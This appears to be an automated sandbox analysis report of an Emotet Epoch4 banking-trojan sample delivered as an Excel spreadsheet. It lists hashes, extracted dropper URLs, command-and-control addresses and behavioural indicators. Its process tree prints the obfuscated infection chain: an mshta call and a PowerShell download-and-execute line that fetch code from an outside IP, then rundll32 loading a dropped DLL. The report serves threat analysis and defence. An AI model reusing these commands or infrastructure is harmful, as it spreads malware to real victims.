emotet | dd221c0b7c00579705ae33a75edd3e7563f436da1aff4d6f3f019a0dfdccde2b

Analysis

max time kernel
121s
max time network
153s
platform
windows10_x64
resource
win10-en-20211208
submitted
25/12/2021, 02:01

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General

Target
051245051373252633P.xls
Size 64KB
Sample211225-cfkpbaehbp
SHA256 dd221c0b7c00579705ae33a75edd3e7563f436da1aff4d6f3f019a0dfdccde2b
MD5 0c5192135381fdb4e799825c901be643
SHA1 1df5f2dccc17a815168e781ffcb49f7ad528a39b
SHA512 0792bf8c9352d90c04f27a7e6e165f25fc882ce203b6ec7b181df519b1ed00edf91d3de5c95aeaeb2ff213c8c860718324d15d2a7280ab7eae5fdc2e9711dc19
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://87.251.86.178/pp/cc.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://87.251.86.178/pp/PP4.PNG

Extracted

Family

emotet

Botnet

Epoch4

144.217.91.150:443
51.38.71.0:443
212.237.56.116:7080
79.172.212.216:8080
178.79.147.66:8080
138.185.72.26:8080
192.254.71.210:443
178.63.25.185:443
195.154.133.20:443
45.118.135.203:7080
81.0.236.90:443
107.182.225.142:8080
162.214.50.39:7080
50.116.54.215:443
203.114.109.124:443
45.118.115.99:8080
216.158.226.206:443
104.168.155.129:8080
110.232.117.186:8080
176.104.106.96:8080
46.55.222.11:443
51.68.175.8:8080
207.38.84.195:8080
58.227.42.236:80
45.176.232.124:443
104.251.214.46:8080
103.8.26.102:8080
45.142.114.231:8080
217.182.143.207:443
41.76.108.46:8080
212.237.5.209:443
103.8.26.103:8080
212.237.17.99:8080
173.212.193.249:8080
158.69.222.101:443
103.75.201.2:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2880	776	cmd.exe	67

Blocklisted process makes network request 3 IoCs

flow	pid	Process
38	2072	mshta.exe
39	4076	powershell.exe
43	4076	powershell.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2152	rundll32.exe
3552	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3580	2072	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
776	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
4076	powershell.exe
4076	powershell.exe
3580	WerFault.exe
3580	WerFault.exe
3580	WerFault.exe
3580	WerFault.exe
3580	WerFault.exe
3580	WerFault.exe
3580	WerFault.exe
3580	WerFault.exe
3580	WerFault.exe
3580	WerFault.exe
3580	WerFault.exe
3580	WerFault.exe
3580	WerFault.exe
3580	WerFault.exe
4076	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4076	powershell.exe
Token: SeDebugPrivilege	3580	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
776	EXCEL.EXE
776	EXCEL.EXE
776	EXCEL.EXE
776	EXCEL.EXE
776	EXCEL.EXE
776	EXCEL.EXE
776	EXCEL.EXE
776	EXCEL.EXE
776	EXCEL.EXE
776	EXCEL.EXE
776	EXCEL.EXE
776	EXCEL.EXE
776	EXCEL.EXE

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 776 wrote to memory of 2880	776	EXCEL.EXE	72
PID 776 wrote to memory of 2880	776	EXCEL.EXE	72
PID 2880 wrote to memory of 2072	2880	cmd.exe	74
PID 2880 wrote to memory of 2072	2880	cmd.exe	74
PID 2072 wrote to memory of 4076	2072	mshta.exe	77
PID 2072 wrote to memory of 4076	2072	mshta.exe	77
PID 4076 wrote to memory of 3824	4076	powershell.exe	81
PID 4076 wrote to memory of 3824	4076	powershell.exe	81
PID 3824 wrote to memory of 2152	3824	cmd.exe	82
PID 3824 wrote to memory of 2152	3824	cmd.exe	82
PID 3824 wrote to memory of 2152	3824	cmd.exe	82
PID 2152 wrote to memory of 3552	2152	rundll32.exe	83
PID 2152 wrote to memory of 3552	2152	rundll32.exe	83
PID 2152 wrote to memory of 3552	2152	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\051245051373252633P.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:776
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\Windows\system32\mshta.exe
    mshta http://87.251.86.178/pp/cc.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2072
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2072 -s 1644
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3580
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://87.251.86.178/pp/PP4.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4076
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,ssd
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3824
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,ssd
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2152
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        
        PID:3552

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/776-118-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Download

memory/776-119-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Download

memory/776-120-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Download

memory/776-121-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Download

memory/776-122-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Download

memory/776-123-0x000001BEA6BE0000-0x000001BEA6BE2000-memory.dmp

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memory/776-124-0x000001BEA6BE0000-0x000001BEA6BE2000-memory.dmp

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memory/776-125-0x000001BEA6BE0000-0x000001BEA6BE2000-memory.dmp

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memory/2152-355-0x0000000004DB0000-0x0000000004DD8000-memory.dmp

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memory/4076-286-0x000001F3CA213000-0x000001F3CA215000-memory.dmp

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memory/4076-303-0x000001F3CA4B0000-0x000001F3CA4EC000-memory.dmp

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memory/4076-314-0x000001F3CA9C0000-0x000001F3CAA36000-memory.dmp

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memory/4076-319-0x000001F3CA216000-0x000001F3CA218000-memory.dmp

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memory/4076-284-0x000001F3CA210000-0x000001F3CA212000-memory.dmp

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memory/4076-282-0x000001F3CA1A0000-0x000001F3CA1C2000-memory.dmp

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